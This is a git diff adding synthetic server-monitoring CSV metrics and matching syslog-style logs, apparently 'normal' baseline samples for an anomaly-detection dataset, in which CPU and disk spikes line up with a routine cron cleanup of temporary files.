+2025-08-18T10:07:15Z,18.36,40.71,22.02,1.21,1.23 +2025-08-18T10:07:20Z,20.63,44.56,18.59,1.46,0.96 +2025-08-18T10:07:25Z,16.23,38.96,17.94,1.2,0.76 diff --git a/norm_dataset/scenario_4/norm_4_2.log b/norm_dataset/scenario_4/norm_4_2.log new file mode 100644 index 0000000000000000000000000000000000000000..10fbd0823bebb8cc5af007436502fbe8057155b3 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_2.log @@ -0,0 +1,19 @@ +Aug 18 10:00:05 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:00:15 systemd[1]: Starting daily network check... +Aug 18 10:00:35 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:01:05 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:01:35 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:02:05 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:02:15 systemd[1]: Starting daily network check... +Aug 18 10:02:35 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:03:00 CRON[7531]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 18 10:03:05 cleanup_script[7533]: INFO: Starting cleanup_tmp_files.sh. +Aug 18 10:03:20 cleanup_script[7533]: INFO: Scanning /var/tmp for files older than 14 days. +Aug 18 10:04:05 cleanup_script[7533]: INFO: Found and deleted 1500 expired session files. +Aug 18 10:04:15 cleanup_script[7533]: INFO: Scanning /var/log for old log archives. +Aug 18 10:04:55 cleanup_script[7533]: INFO: Found and deleted 35 archived logs. +Aug 18 10:05:05 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:05:35 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:06:05 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:06:35 web-app[1882]: GET /api/v1/health status=200 OK +Aug 18 10:07:05 web-app[1882]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_20.csv b/norm_dataset/scenario_4/norm_4_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..7cb2c0055a6c8e6aa07145c668042c4d4c6bb1e1 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.01,38.85,35.0,0.96,0.99 +2025-07-02T12:00:05Z,17.1,41.97,30.48,0.72,0.53 +2025-07-02T12:00:10Z,14.55,37.88,28.72,0.77,0.75 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+2025-07-02T12:03:30Z,88.69,38.4,275.18,1.03,0.94 +2025-07-02T12:03:35Z,84.01,38.95,306.61,1.45,0.34 +2025-07-02T12:03:40Z,72.97,43.62,271.72,0.92,1.08 +2025-07-02T12:03:45Z,72.33,45.13,307.19,1.15,0.91 +2025-07-02T12:03:50Z,100.0,40.22,218.41,1.38,0.75 +2025-07-02T12:03:55Z,74.88,39.52,271.71,0.97,0.7 +2025-07-02T12:04:00Z,97.19,42.31,325.93,1.01,0.85 +2025-07-02T12:04:05Z,93.51,42.15,301.16,1.06,1.43 +2025-07-02T12:04:10Z,100.0,38.01,271.79,0.98,0.48 +2025-07-02T12:04:15Z,84.9,38.32,265.05,0.71,1.11 +2025-07-02T12:04:20Z,96.25,38.65,271.45,0.87,0.43 +2025-07-02T12:04:25Z,100.0,39.86,305.76,0.8,0.92 +2025-07-02T12:04:30Z,83.96,41.16,258.62,0.83,0.7 +2025-07-02T12:04:35Z,89.23,42.59,264.97,1.0,0.94 +2025-07-02T12:04:40Z,77.21,38.43,285.89,1.11,0.97 +2025-07-02T12:04:45Z,100.0,42.61,302.08,0.62,1.06 +2025-07-02T12:04:50Z,76.61,39.81,313.57,1.14,0.78 +2025-07-02T12:04:55Z,92.3,39.73,275.72,1.05,0.61 +2025-07-02T12:05:00Z,97.86,36.98,279.15,1.28,0.67 +2025-07-02T12:05:05Z,77.39,39.19,245.78,0.92,0.83 +2025-07-02T12:05:10Z,99.58,37.65,259.15,0.96,0.86 +2025-07-02T12:05:15Z,79.17,41.57,305.89,0.78,0.76 +2025-07-02T12:05:20Z,100.0,38.24,300.39,0.93,0.76 +2025-07-02T12:05:25Z,14.93,38.57,14.9,0.83,1.17 +2025-07-02T12:05:30Z,13.07,41.57,26.0,0.79,0.88 +2025-07-02T12:05:35Z,10.21,42.65,22.34,1.32,0.88 +2025-07-02T12:05:40Z,16.49,39.08,26.36,1.1,0.67 +2025-07-02T12:05:45Z,15.83,41.53,20.21,1.0,0.73 +2025-07-02T12:05:50Z,12.08,40.74,32.62,1.19,0.96 +2025-07-02T12:05:55Z,14.44,38.01,26.71,1.25,0.72 +2025-07-02T12:06:00Z,19.16,38.41,31.71,1.12,0.64 +2025-07-02T12:06:05Z,16.42,39.24,37.77,1.0,0.81 +2025-07-02T12:06:10Z,14.17,39.32,35.35,0.89,0.61 +2025-07-02T12:06:15Z,17.05,38.16,24.61,1.19,0.94 +2025-07-02T12:06:20Z,21.37,40.7,42.74,1.11,0.9 +2025-07-02T12:06:25Z,14.92,40.38,30.46,0.98,0.77 +2025-07-02T12:06:30Z,14.82,38.64,34.48,0.93,0.93 +2025-07-02T12:06:35Z,20.12,39.03,33.99,0.62,0.87 +2025-07-02T12:06:40Z,12.26,43.29,32.97,0.96,0.93 +2025-07-02T12:06:45Z,6.05,35.69,21.94,1.19,1.16 +2025-07-02T12:06:50Z,14.17,39.61,35.45,0.65,0.72 +2025-07-02T12:06:55Z,9.65,38.72,28.33,0.92,0.66 +2025-07-02T12:07:00Z,12.0,42.13,27.81,0.99,0.67 +2025-07-02T12:07:05Z,15.27,39.55,28.13,1.01,0.31 +2025-07-02T12:07:10Z,17.35,38.74,26.61,1.2,0.79 +2025-07-02T12:07:15Z,16.78,38.56,34.95,0.9,0.95 +2025-07-02T12:07:20Z,15.89,38.99,24.3,1.25,0.57 +2025-07-02T12:07:25Z,18.46,41.13,30.17,1.08,0.85 diff --git a/norm_dataset/scenario_4/norm_4_20.log b/norm_dataset/scenario_4/norm_4_20.log new file mode 100644 index 0000000000000000000000000000000000000000..1777548ff52e1c6b19a46a42d871c47f88472bf0 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_20.log @@ -0,0 +1,33 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:00 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 02 12:02:05 CRON[6789]: (root) CMD ( /usr/local/bin/cleanup_tmp_files.sh > /dev/null 2>&1) +Jul 02 12:02:10 cleanup_script[6790]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:02:15 web-app[1234]: GET /api/v1/user/30 status=200 OK +Jul 02 12:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:15 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 02 12:04:30 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 02 12:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:00 web-app[1234]: GET /api/v1/user/48 status=200 OK +Jul 02 12:05:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:25 cleanup_script[6790]: INFO: Found and deleted 1255 expired session files. +Jul 02 12:05:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:45 web-app[1234]: GET /api/v1/user/50 status=200 OK +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:15 web-app[1234]: GET /api/v1/user/10 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_21.csv b/norm_dataset/scenario_4/norm_4_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..7280c83859fe44b82dd69bba7387342ce95c014b --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T14:00:00Z,14.13,38.56,33.94,0.91,0.54 +2025-08-21T14:00:05Z,20.97,37.92,31.88,0.66,0.78 +2025-08-21T14:00:10Z,11.3,41.43,27.29,0.94,0.7 +2025-08-21T14:00:15Z,15.78,39.28,27.85,1.16,0.81 +2025-08-21T14:00:20Z,15.38,38.05,30.12,0.94,0.63 +2025-08-21T14:00:25Z,13.66,42.17,34.45,1.14,0.83 +2025-08-21T14:00:30Z,15.3,37.18,29.72,0.88,0.84 +2025-08-21T14:00:35Z,15.39,38.28,33.1,0.95,0.97 +2025-08-21T14:00:40Z,14.74,40.88,32.13,1.25,0.62 +2025-08-21T14:00:45Z,11.94,40.84,27.79,1.11,0.77 +2025-08-21T14:00:50Z,18.74,39.72,27.73,1.09,0.77 +2025-08-21T14:00:55Z,13.04,40.19,32.21,1.13,0.52 +2025-08-21T14:01:00Z,18.56,42.0,33.57,1.05,1.25 +2025-08-21T14:01:05Z,13.86,41.65,32.44,0.84,0.89 +2025-08-21T14:01:10Z,16.98,37.91,29.72,0.85,0.59 +2025-08-21T14:01:15Z,13.92,39.41,32.88,1.18,0.82 +2025-08-21T14:01:20Z,14.62,42.05,31.33,0.9,0.81 +2025-08-21T14:01:25Z,11.16,40.48,36.2,0.99,0.89 +2025-08-21T14:01:30Z,13.92,40.66,27.6,1.08,0.74 +2025-08-21T14:01:35Z,17.73,38.21,27.37,0.83,1.03 +2025-08-21T14:01:40Z,10.42,45.5,32.32,0.7,0.56 +2025-08-21T14:01:45Z,12.07,39.93,25.88,0.58,0.75 +2025-08-21T14:01:50Z,16.01,39.71,29.17,1.16,0.73 +2025-08-21T14:01:55Z,21.22,39.91,36.03,1.07,0.72 +2025-08-21T14:02:00Z,14.68,38.13,28.26,1.05,0.73 +2025-08-21T14:02:05Z,15.2,37.96,25.69,0.84,0.97 +2025-08-21T14:02:10Z,12.8,41.19,35.03,0.77,0.72 +2025-08-21T14:02:15Z,13.09,41.47,25.34,1.04,0.58 +2025-08-21T14:02:20Z,14.94,39.93,34.79,0.96,0.66 +2025-08-21T14:02:25Z,12.64,39.39,35.39,1.14,0.94 +2025-08-21T14:02:30Z,9.81,41.73,29.46,1.2,0.98 +2025-08-21T14:02:35Z,16.44,40.09,32.24,1.17,0.59 +2025-08-21T14:02:40Z,18.21,39.51,25.48,1.28,0.86 +2025-08-21T14:02:45Z,22.76,39.77,36.02,1.08,1.03 +2025-08-21T14:02:50Z,14.49,42.02,19.56,1.0,0.4 +2025-08-21T14:02:55Z,13.88,38.57,31.35,1.15,0.67 +2025-08-21T14:03:00Z,84.56,42.01,198.22,0.83,0.95 +2025-08-21T14:03:05Z,80.18,39.4,178.11,1.3,0.42 +2025-08-21T14:03:10Z,78.64,40.72,225.37,0.91,0.95 +2025-08-21T14:03:15Z,88.42,37.9,192.35,0.82,0.86 +2025-08-21T14:03:20Z,91.2,39.62,191.08,0.69,0.44 +2025-08-21T14:03:25Z,86.35,40.29,219.02,0.75,0.95 +2025-08-21T14:03:30Z,80.7,41.7,195.22,0.62,0.91 +2025-08-21T14:03:35Z,87.72,40.37,210.9,0.89,0.92 +2025-08-21T14:03:40Z,87.29,39.81,177.97,1.18,0.5 +2025-08-21T14:03:45Z,91.67,38.15,155.22,0.81,1.09 +2025-08-21T14:03:50Z,92.72,39.68,193.37,1.07,1.12 +2025-08-21T14:03:55Z,79.59,38.77,185.49,0.88,0.37 +2025-08-21T14:04:00Z,81.32,42.08,207.66,0.97,0.91 +2025-08-21T14:04:05Z,84.74,42.88,219.81,0.97,0.69 +2025-08-21T14:04:10Z,82.75,38.36,206.02,1.2,0.86 +2025-08-21T14:04:15Z,81.4,37.68,192.57,0.98,1.02 +2025-08-21T14:04:20Z,91.7,38.17,170.95,0.95,0.45 +2025-08-21T14:04:25Z,87.45,42.9,206.6,1.29,0.71 +2025-08-21T14:04:30Z,80.02,37.65,205.1,1.05,0.63 +2025-08-21T14:04:35Z,88.39,38.9,200.88,1.03,0.91 +2025-08-21T14:04:40Z,89.6,39.6,210.98,1.43,0.81 +2025-08-21T14:04:45Z,87.82,39.02,217.11,1.12,0.38 +2025-08-21T14:04:50Z,89.95,40.88,207.7,0.99,0.69 +2025-08-21T14:04:55Z,81.8,42.31,172.06,1.13,0.52 +2025-08-21T14:05:00Z,15.3,37.95,35.87,1.23,1.03 +2025-08-21T14:05:05Z,13.8,39.21,30.83,0.72,0.6 +2025-08-21T14:05:10Z,17.93,42.93,41.62,1.25,0.41 +2025-08-21T14:05:15Z,17.6,40.52,27.55,1.06,0.71 +2025-08-21T14:05:20Z,13.67,38.3,25.11,1.36,0.8 +2025-08-21T14:05:25Z,17.61,37.7,28.19,0.94,0.88 +2025-08-21T14:05:30Z,20.99,42.12,34.47,1.06,1.0 +2025-08-21T14:05:35Z,11.97,43.11,25.5,0.63,0.9 +2025-08-21T14:05:40Z,10.56,40.62,36.35,1.07,0.45 +2025-08-21T14:05:45Z,18.18,39.16,28.45,0.77,0.71 +2025-08-21T14:05:50Z,14.35,42.56,27.65,0.49,1.09 +2025-08-21T14:05:55Z,12.99,37.8,32.87,0.74,0.64 +2025-08-21T14:06:00Z,19.91,41.36,31.04,0.98,0.95 +2025-08-21T14:06:05Z,16.51,37.21,29.53,1.34,0.78 +2025-08-21T14:06:10Z,22.19,39.7,30.21,0.89,0.49 +2025-08-21T14:06:15Z,15.7,39.36,28.61,0.67,0.48 +2025-08-21T14:06:20Z,15.67,38.96,34.68,1.19,0.97 +2025-08-21T14:06:25Z,14.97,38.9,25.38,1.2,1.27 +2025-08-21T14:06:30Z,19.78,40.86,33.65,0.87,0.62 +2025-08-21T14:06:35Z,17.31,38.13,31.85,1.07,0.65 +2025-08-21T14:06:40Z,15.55,42.14,29.59,0.57,0.88 +2025-08-21T14:06:45Z,14.88,41.01,33.42,1.15,0.53 +2025-08-21T14:06:50Z,18.6,43.0,32.09,0.85,0.77 +2025-08-21T14:06:55Z,17.01,36.1,24.1,1.2,0.69 +2025-08-21T14:07:00Z,16.17,40.37,31.45,1.23,1.24 +2025-08-21T14:07:05Z,20.8,38.16,34.42,0.84,1.01 +2025-08-21T14:07:10Z,11.34,39.5,25.45,1.16,0.61 +2025-08-21T14:07:15Z,18.56,42.4,28.43,1.02,0.73 +2025-08-21T14:07:20Z,16.7,38.98,40.27,0.87,0.56 +2025-08-21T14:07:25Z,10.77,39.54,26.75,0.68,1.17 diff --git a/norm_dataset/scenario_4/norm_4_21.log b/norm_dataset/scenario_4/norm_4_21.log new file mode 100644 index 0000000000000000000000000000000000000000..8f43b5e45ff92fddc441471e2ebe1b0b16daf4bc --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_21.log @@ -0,0 +1,20 @@ +Aug 21 14:00:00 kubelet[2755]: INFO: Liveness probe succeeded for pod nginx-deployment-abcde +Aug 21 14:00:00 systemd[1]: Starting daily remote address book synchronization... +Aug 21 14:00:00 web-app[1478]: GET /api/v1/user/40 status=200 OK +Aug 21 14:00:35 web-app[1478]: GET /api/v1/user/50 status=200 OK +Aug 21 14:01:10 web-app[1478]: GET /api/v1/user/41 status=200 OK +Aug 21 14:01:35 kubelet[2755]: INFO: Liveness probe succeeded for pod nginx-deployment-abcde +Aug 21 14:01:45 web-app[1478]: GET /api/v1/user/43 status=404 Not Found +Aug 21 14:02:20 web-app[1478]: GET /api/v1/user/28 status=404 Not Found +Aug 21 14:02:25 systemd[1]: Starting daily remote address book synchronization... +Aug 21 14:02:55 web-app[1478]: GET /api/v1/user/37 status=200 OK +Aug 21 14:03:00 CRON[15548]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 21 14:03:00 cleanup_script[15549]: INFO: Starting cleanup_tmp_files.sh. +Aug 21 14:04:00 cleanup_script[15549]: INFO: Scanning directory /var/log/... +Aug 21 14:04:55 cleanup_script[15549]: INFO: Found and deleted 1287 expired session files. +Aug 21 14:05:15 web-app[1478]: GET /api/v1/user/46 status=200 OK +Aug 21 14:05:50 web-app[1478]: GET /api/v1/user/20 status=200 OK +Aug 21 14:06:20 kubelet[2755]: INFO: Liveness probe succeeded for pod nginx-deployment-abcde +Aug 21 14:06:25 web-app[1478]: GET /api/v1/user/19 status=200 OK +Aug 21 14:07:00 web-app[1478]: GET /api/v1/user/15 status=200 OK +Aug 21 14:07:15 systemd[1]: Starting daily remote address book synchronization... diff --git a/norm_dataset/scenario_4/norm_4_22.csv b/norm_dataset/scenario_4/norm_4_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..2f26503e4d5116e8fdf10a3f47e892e146d33436 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,17.83,38.42,24.7,1.26,1.39 +2025-07-02T12:00:05Z,12.08,35.86,25.74,1.09,0.73 +2025-07-02T12:00:10Z,16.44,35.89,22.81,0.98,1.05 +2025-07-02T12:00:15Z,16.93,38.7,24.81,1.15,1.3 +2025-07-02T12:00:20Z,12.55,36.88,25.1,1.21,0.82 +2025-07-02T12:00:25Z,10.92,37.81,30.73,0.91,1.05 +2025-07-02T12:00:30Z,18.13,35.91,33.43,1.22,0.92 +2025-07-02T12:00:35Z,12.26,39.19,21.1,1.04,0.72 +2025-07-02T12:00:40Z,14.97,38.8,33.65,1.02,1.28 +2025-07-02T12:00:45Z,16.54,39.56,20.48,1.14,1.02 +2025-07-02T12:00:50Z,16.71,38.94,21.94,1.18,1.25 +2025-07-02T12:00:55Z,15.0,37.76,28.37,0.85,1.09 +2025-07-02T12:01:00Z,17.88,36.03,26.36,0.94,1.29 +2025-07-02T12:01:05Z,10.37,36.39,26.28,1.33,1.37 +2025-07-02T12:01:10Z,18.13,37.7,27.11,1.11,1.21 +2025-07-02T12:01:15Z,12.13,36.34,21.72,1.14,1.31 +2025-07-02T12:01:20Z,16.21,38.2,32.27,1.47,0.81 +2025-07-02T12:01:25Z,13.2,39.58,31.59,1.45,1.21 +2025-07-02T12:01:30Z,15.63,36.88,33.63,1.27,1.11 +2025-07-02T12:01:35Z,18.39,36.24,20.86,0.99,1.04 +2025-07-02T12:01:40Z,12.12,36.83,29.34,0.99,1.03 +2025-07-02T12:01:45Z,16.28,35.68,21.6,1.04,0.71 +2025-07-02T12:01:50Z,17.7,39.46,26.85,1.41,0.76 +2025-07-02T12:01:55Z,15.78,39.66,30.34,1.12,1.28 +2025-07-02T12:02:00Z,13.01,38.59,25.2,1.44,0.92 +2025-07-02T12:02:05Z,11.5,37.59,23.84,1.47,1.36 +2025-07-02T12:02:10Z,13.73,36.25,22.28,1.21,1.36 +2025-07-02T12:02:15Z,18.75,38.99,26.12,0.85,0.84 +2025-07-02T12:02:20Z,15.12,36.77,31.5,0.9,0.76 +2025-07-02T12:02:25Z,10.7,35.82,22.15,0.87,1.38 +2025-07-02T12:02:30Z,75.22,43.46,80.79,1.35,0.88 +2025-07-02T12:02:35Z,76.26,39.42,89.79,1.4,0.84 +2025-07-02T12:02:40Z,83.54,43.41,85.5,1.23,1.08 +2025-07-02T12:02:45Z,58.94,40.16,81.81,0.87,1.25 +2025-07-02T12:02:50Z,69.89,39.07,83.18,1.48,0.71 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b/norm_dataset/scenario_4/norm_4_22.log @@ -0,0 +1,18 @@ +Jul 02 12:00:00 web-app[8686]: GET /api/v1/status status=200 OK +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:50 web-app[9540]: GET /api/v1/status status=200 OK +Jul 02 12:01:40 web-app[7695]: GET /api/v1/status status=200 OK +Jul 02 12:02:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 web-app[7233]: GET /api/v1/status status=200 OK +Jul 02 12:02:30 CRON[6013]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:31 run-parts(/etc/cron.daily)[6014]: starting cleanup_tmp_files.sh +Jul 02 12:02:32 cleanup_script[6015]: INFO: Starting cleanup of /tmp and /var/cache. +Jul 02 12:03:20 web-app[9820]: GET /api/v1/status status=200 OK +Jul 02 12:04:10 web-app[6140]: GET /api/v1/status status=200 OK +Jul 02 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:00 web-app[3330]: GET /api/v1/status status=200 OK +Jul 02 12:05:00 cleanup_script[5786]: INFO: Found and deleted 1724 expired session files. +Jul 02 12:05:01 run-parts(/etc/cron.daily)[5787]: finished cleanup_tmp_files.sh +Jul 02 12:05:50 web-app[8514]: GET /api/v1/status status=200 OK +Jul 02 12:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:40 web-app[4618]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_23.csv b/norm_dataset/scenario_4/norm_4_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..ea55bdae647baa73b87ad837ff57c67744ecdeb5 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T14:00:00Z,17.88,39.59,15.82,1.25,1.39 +2025-08-22T14:00:05Z,15.67,43.12,27.04,1.5,1.99 +2025-08-22T14:00:10Z,16.72,43.22,21.53,1.87,1.28 +2025-08-22T14:00:15Z,15.95,43.83,18.79,1.74,1.49 +2025-08-22T14:00:20Z,17.28,43.02,16.87,1.86,0.99 +2025-08-22T14:00:25Z,13.08,42.45,21.19,1.66,1.24 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+2025-08-22T14:07:10Z,11.41,41.07,16.86,1.28,1.91 +2025-08-22T14:07:15Z,10.92,42.66,20.9,1.45,1.96 +2025-08-22T14:07:20Z,11.29,44.4,25.75,1.63,1.45 +2025-08-22T14:07:25Z,19.6,43.73,19.77,1.35,1.95 diff --git a/norm_dataset/scenario_4/norm_4_23.log b/norm_dataset/scenario_4/norm_4_23.log new file mode 100644 index 0000000000000000000000000000000000000000..9c4a465b0b66dbeaf91e0d666a164870eff66efc --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_23.log @@ -0,0 +1,21 @@ +Aug 22 14:00:00 web-app[2578]: GET /api/v1/user/43 status=200 OK +Aug 22 14:00:14 web-app[3209]: GET /api/v1/user/35 status=200 OK +Aug 22 14:00:34 web-app[4949]: GET /api/v1/user/29 status=200 OK +Aug 22 14:00:45 web-app[4696]: GET /api/v1/user/17 status=200 OK +Aug 22 14:01:09 web-app[2474]: GET /api/v1/user/16 status=200 OK +Aug 22 14:01:21 web-app[3043]: GET /api/v1/user/28 status=200 OK +Aug 22 14:01:45 web-app[1402]: GET /api/v1/user/34 status=200 OK +Aug 22 14:01:58 web-app[4865]: GET /api/v1/user/39 status=200 OK +Aug 22 14:02:00 CRON[6123]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 22 14:02:01 systemd[1]: Starting Daily apt download activities... +Aug 22 14:02:02 cleanup_script[6125]: INFO: Starting cleanup_tmp_files.sh. +Aug 22 14:03:15 cleanup_script[6125]: INFO: Scanning /tmp and /var/cache for expired files... +Aug 22 14:05:00 cleanup_script[6125]: INFO: Found and deleted 1500 expired session files. +Aug 22 14:05:01 cleanup_script[6125]: INFO: Cleanup finished successfully. +Aug 22 14:05:28 kubelet[2923]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:05:40 kubelet[2015]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:05:54 kubelet[2088]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:06:13 kubelet[2600]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:06:36 kubelet[2898]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:07:00 kubelet[2379]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:07:19 kubelet[2780]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_4/norm_4_24.csv b/norm_dataset/scenario_4/norm_4_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..93258d9623604fa33b3922d92ce444a78b7f557f --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.88,44.05,15.78,0.69,1.37 +2025-07-02T12:00:05Z,7.27,38.36,15.01,0.98,1.09 +2025-07-02T12:00:10Z,5.55,37.39,29.72,0.85,1.4 +2025-07-02T12:00:15Z,8.22,35.65,25.39,1.05,1.1 +2025-07-02T12:00:20Z,9.45,39.98,19.05,0.79,0.85 +2025-07-02T12:00:25Z,10.67,41.62,11.14,1.34,0.9 +2025-07-02T12:00:30Z,12.32,42.41,25.52,0.75,0.71 +2025-07-02T12:00:35Z,13.03,39.91,22.47,1.1,1.07 +2025-07-02T12:00:40Z,10.48,39.58,24.79,1.0,1.28 +2025-07-02T12:00:45Z,14.88,39.87,17.11,1.32,1.35 +2025-07-02T12:00:50Z,11.72,37.81,10.96,1.01,1.38 +2025-07-02T12:00:55Z,12.46,39.66,14.46,0.68,1.36 +2025-07-02T12:01:00Z,9.35,40.35,11.88,1.49,0.76 +2025-07-02T12:01:05Z,13.86,36.13,14.27,0.82,0.91 +2025-07-02T12:01:10Z,8.49,42.37,18.6,1.31,0.96 +2025-07-02T12:01:15Z,10.95,43.13,14.75,1.48,0.69 +2025-07-02T12:01:20Z,13.33,35.61,23.38,0.81,1.41 +2025-07-02T12:01:25Z,7.52,35.47,14.94,1.16,0.83 +2025-07-02T12:01:30Z,12.61,43.4,15.42,1.43,0.73 +2025-07-02T12:01:35Z,10.4,40.87,14.37,1.29,0.66 +2025-07-02T12:01:40Z,12.28,43.12,24.76,1.14,1.46 +2025-07-02T12:01:45Z,12.18,38.18,22.82,0.72,1.02 +2025-07-02T12:01:50Z,6.25,44.49,11.25,0.72,1.36 +2025-07-02T12:01:55Z,13.7,36.33,29.21,1.15,1.2 +2025-07-02T12:02:00Z,5.77,36.46,10.99,0.62,0.83 +2025-07-02T12:02:05Z,8.08,43.8,13.6,1.0,1.22 +2025-07-02T12:02:10Z,11.35,38.11,27.03,1.09,0.52 +2025-07-02T12:02:15Z,9.12,37.31,15.78,1.22,0.58 +2025-07-02T12:02:20Z,11.87,39.24,12.93,1.08,0.84 +2025-07-02T12:02:25Z,8.09,36.25,22.63,0.56,0.67 +2025-07-02T12:02:30Z,49.24,42.29,118.57,1.03,1.04 +2025-07-02T12:02:35Z,53.87,44.21,95.69,1.39,0.84 +2025-07-02T12:02:40Z,66.78,43.12,115.7,0.98,1.47 +2025-07-02T12:02:45Z,52.75,44.75,128.32,1.05,0.56 +2025-07-02T12:02:50Z,53.49,39.59,96.19,0.68,1.4 +2025-07-02T12:02:55Z,48.4,38.98,88.04,1.43,0.88 +2025-07-02T12:03:00Z,49.42,44.44,143.32,1.39,0.73 +2025-07-02T12:03:05Z,69.12,43.3,92.48,1.32,1.08 +2025-07-02T12:03:10Z,65.64,44.42,140.41,1.06,1.2 +2025-07-02T12:03:15Z,44.46,36.17,122.77,0.79,1.2 +2025-07-02T12:03:20Z,41.93,44.33,91.79,1.04,1.26 +2025-07-02T12:03:25Z,41.71,38.72,94.11,0.76,1.34 +2025-07-02T12:03:30Z,65.09,38.58,119.12,1.32,0.56 +2025-07-02T12:03:35Z,43.04,37.59,119.26,0.71,0.71 +2025-07-02T12:03:40Z,41.79,42.32,105.49,0.64,1.14 +2025-07-02T12:03:45Z,45.26,44.51,97.66,1.25,1.01 +2025-07-02T12:03:50Z,49.99,38.08,96.72,1.11,1.37 +2025-07-02T12:03:55Z,64.79,40.79,97.26,1.47,0.79 +2025-07-02T12:04:00Z,57.88,37.01,142.42,0.91,0.98 +2025-07-02T12:04:05Z,64.36,37.69,93.99,1.2,1.21 +2025-07-02T12:04:10Z,48.7,35.39,126.78,0.91,1.47 +2025-07-02T12:04:15Z,59.49,35.66,109.96,1.24,1.12 +2025-07-02T12:04:20Z,44.05,43.38,83.51,1.43,0.71 +2025-07-02T12:04:25Z,52.35,36.92,136.47,0.55,0.98 +2025-07-02T12:04:30Z,57.9,38.4,98.1,0.95,0.71 +2025-07-02T12:04:35Z,69.33,37.96,88.68,1.01,0.8 +2025-07-02T12:04:40Z,58.87,44.77,96.9,0.79,1.41 +2025-07-02T12:04:45Z,49.99,37.75,131.15,0.89,0.57 +2025-07-02T12:04:50Z,63.24,43.56,119.84,0.84,0.99 +2025-07-02T12:04:55Z,69.31,37.41,117.33,0.94,0.58 +2025-07-02T12:05:00Z,5.34,36.89,11.26,0.67,0.59 +2025-07-02T12:05:05Z,11.86,38.97,11.9,1.26,0.62 